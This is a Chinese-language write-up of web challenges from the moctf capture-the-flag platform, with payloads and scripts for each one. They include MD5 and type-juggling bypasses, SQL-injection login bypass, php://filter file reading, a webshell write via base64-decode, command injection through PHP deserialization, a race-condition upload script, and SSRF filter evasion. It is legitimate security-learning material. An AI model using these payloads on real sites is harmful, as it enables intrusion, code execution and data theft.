moctf web wp

一个暴力膜法的平台,我tm被锤爆【跪

一道水题

F12解决

还是水题

F12,改一下长度限制和输入限制即可

访问限制

年轻人不要太暴力hhh
抓包修改user-agent为NAIVE得到flag

机器蛇

叫机器蛇,那应该和robots.txt有关。访问一下给出一个有flag的php,再访问F12获得flag

PHP黑魔法

提示有源码就试试看.php~,F12看到源码

读一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<?php

$flag="moctf{**************}";

if (isset($_GET['a'])&&isset($_GET['b'])) {
$a=$_GET['a'];
$b=$_GET['b'];


if($a==$b)
{
echo "<center>Wrong Answer!</center>";
}
else {
if(md5($a)==md5($b))
{
echo "<center>".$flag."</center>";
echo "By:daoyuan";
}
else echo "<center>Wrong Answer!</center>";
}

}
else echo "<center>濂藉儚灏戜簡鐐逛粈涔�</center>";
?>
</body>
</html

md5的绕过

payload: ?a[]=1&b[]=2

我想要钱

审计题,读一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['money'])) {
$money=$_GET['money'];
if(strlen($money)<=4&&$money>time()&&!is_array($money))
{
echo $flag;
echo "<!--By:daoyuan-->";
}
else echo "Wrong Answer!";
}
else echo "Wrong Answer!";
?>

长度不能超过4且要大于现在时间
那就直接上科学计数法

payload: ?money=9e99

登录就对了

不知道为什么用-1’or ‘1’=’1不行,admin’#就ok,神奇…

文件包含

F12发现flag.php,直接读不行,那就用php://filter来读

payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解码得flag

暴跳老板

这题有点难受,找了好久才发现http头里有个Dear: MyBoss

于是就
payload: Dear=MyBoss

Flag在哪?

还以为抓包就ok了,每想到要各种跳转,然后跳到最后还是没有flag。于是记录一下url

1
2
3
4
5
flag.php	
where_is_flag.php
I_have_a_frog.php
I_have_a_flag.php
no_flag.php

于是猜测存在frogflag.php,访问得到flag

美味的饼干

看题目应该是cookie
于是抓包发现一串base64,解码后是 ee11cbb19052e40b07aac0ca060c23ee 。再试base64解码发现不对,于是尝试md5解码,解出是user。于是用md5加密admin,再用base64加密,修改cookie提交得到flag

没时间解释了

应该是抓包或者脚本题

点进去发现url是index2.php,改成index.php依旧跳到index2.php。于是访问index.php抓包,发现提示uploadsomething.php

访问一下

然后随便提交点东西

再访问

提示太慢,于是写脚本,但发现一个脚本还是太慢,于是分成两个

1
2
3
4
5
import requests

url="http://119.23.73.3:5006/web2/uploads/06788de737d4d4bbec18e277dcdf6e829121fb00/flag.php"
while 1:
print(requests.get(url).text)
1
2
3
4
5
import requests

url="http://119.23.73.3:5006/web2/uploadsomething.php?filename=flag.php&content=a"
while 1:
requests.get(url)

同时运行跑出flag

死亡退出

这题跪了orz

进去就是源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
if(!isset($filename))
{
file_put_contents('tmp.php', '');
}
@file_put_contents($filename, $c);
include('tmp.php');
?>

就是把传入的c接在 <?php exit;?> 后,然后写入传入的file的文件中。最后读取tmp.php

想了好久没想出,查wp,发现是用伪协议php://filter做
php://filter/write=convert.base64-decode/resource= 这个可以将文件读取再base64解码后写入,而再这题就是接上c的值然后解码写入
但我们知道base64是以4字节接一个码,同时只会解码那些属于base64的字符。在 <?php exit;?> 中只有phpexit是,于是我们要给它加一个字符使得能解码。然后用 <?php system('cat flag.php');?> 的base64加密后的值来读取flag

于是payload:
File=php://filter/write=convert.base64-decode/resource=tmp.php&c=kPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

F12查源码得到flag

火眼金睛

脚本题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import re

url_1 = r'http://119.23.73.3:5001/web10/'
url_2 = r'http://119.23.73.3:5001/web10/work.php'

http = requests.get(url_1)
content = http.content
Set_Cookie = http.headers['Set-Cookie']
PHPSESSID = re.findall(r"PHPSESSID=(.*?);",Set_Cookie)[0]
textarea = re.findall(r"<textarea rows = '30' cols = '100'>(.*?)</textarea>",content)[0]
answer = textarea.count("moctf")
cookie = {'PHPSESSID': PHPSESSID}
data = {'answer': answer}
new_http = requests.post(url_2,cookies=cookie,data=data)
print new_http.content

写个脚本搞定

unset

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
include($_GET['file']);
}
}

?>

这题一开始没反应到unset的作用,在变量覆盖各种失败后才发现有EXTR_SKIP设置的是不能覆盖已有变量的。于是就想办法把$_GET给unset掉。简单的在cookie中设个_GET变量就能unset掉

payload:

1
2
3
GET:?a=1
POST:_GET[flag]=s878926199a&_GET[daiker]=s155964671a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php
Cookie:_GET[a]=1

一开始file那里没反应过来要base64读取,搞了好久没搞定才想起include()要用php://filter。还有GET那里要设个变量,可以试试看输出_GET和Cookie传_GET[]=,两个的值是不一样的orz

最后解码一下就ok了

PUBG

进去试一下没搞到什么,就扫一下后台发现bak文件,下载下来读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

<html>
<title>MOCTF吃鸡大赛</title>
<style type="text/css">
a{
text-decoration:none;
color:white;
}
body
{
background:url('image/PUBG.jpg');
background-attachment:fixed;
background-repeat:no-repeat;
background-size:cover;
-moz-background-size:cover;
-webkit-background-size:cover;
}
center
{
color:white;
}
</style>
<body>
<center>
<p>你现在正在飞机上,请选择要跳的地方</p></br>
<p><a href="?LandIn=airport">机场</a></p>
<p><a href="?LandIn=school">学校</a></p>
<p><a href="?LandIn=field">打野</a></p>
<p><a href="?LandIn=AFK">上个厕所</a></p>
</center>
</body>
</html>
<?php
error_reporting(0);
include 'class.php';
if(is_array($_GET)&&count($_GET)>0)
{
if(isset($_GET["LandIn"]))
{
$pos=$_GET["LandIn"];
}
if($pos==="airport")
{
die("<center>机场大仙太多,你被打死了~</center>");
}
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>');
$pubg=$_GET['pubg'];
$p = unserialize($pubg);
// $p->Get_air_drops($p->weapon,$p->bag);
}
elseif($pos==="AFK")
{
die("<center>由于你长时间没动,掉到海里淹死了~</center");
}
else
{
die("<center>You Lose</center>");

}
}
?>

当pos为school时会对pubg参数进行反序列化
而这个文件只引入了class.php,于是尝试一下class.php.bak,又获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
include 'waf.php';
class sheldon{
public $bag="nothing";
public $weapon="M24";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
?>

读一下,wakeup()这里不知怎么绕开,查了一下知道,但要反序列化的字符串处时属性数量与给的值不一样时,就会导致反序列化失败wakeup()不执行

然后__call()中要当./class$file[0].php存在时才会执行命令php ./class/$method.php
又可以看到下面不存在时有个win.php,于是就可以认为class/win.php是存在的,于是使$method=/win.php|cat class/flag就可以了

payload:
O:7:"sheldon":3:{s:3:"bag";s:26:"//win.php|cat ./class/flag";s:6:"weapon";s:3:"AWM";}
&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp↑
这里从2改成3以使反序列化失败

网站检测器

一道SSRF的题,看到要和内网搞事就觉得是,但第一次做SSRF不会就查一下

这里利用的是解析URL产生的漏洞。后台会对我们输入的URL进行解析过滤,这时就可能会出现URL解析不当导致绕过过滤。当我们传入 地址1@地址2 ,后台进行URL解析时,会由于第一个地址后的参数为@被过滤掉,只解析第二个地址

于是尝试
http://www.moctf.com@127.0.0.1

提示不能有127,那就转进制
先把127.0.0.1转为16进制 7f 00 00 01,然后连起来7f000001转成8进制17700000001,最后在前面加个0就可以了

然后再尝试
http://www.moctf.com@017700000001

成功打开了index,那就猜测有flag.php

继续尝试
http://www.moctf.com@017700000001/flag.php

提示不能有.,这里猜测在后台调用url时还会再解码一次url,于是尝试双url编码绕过

最后尝试payload:
http://www.moctf.com@017700000001/flag%25%32%65php

获得flag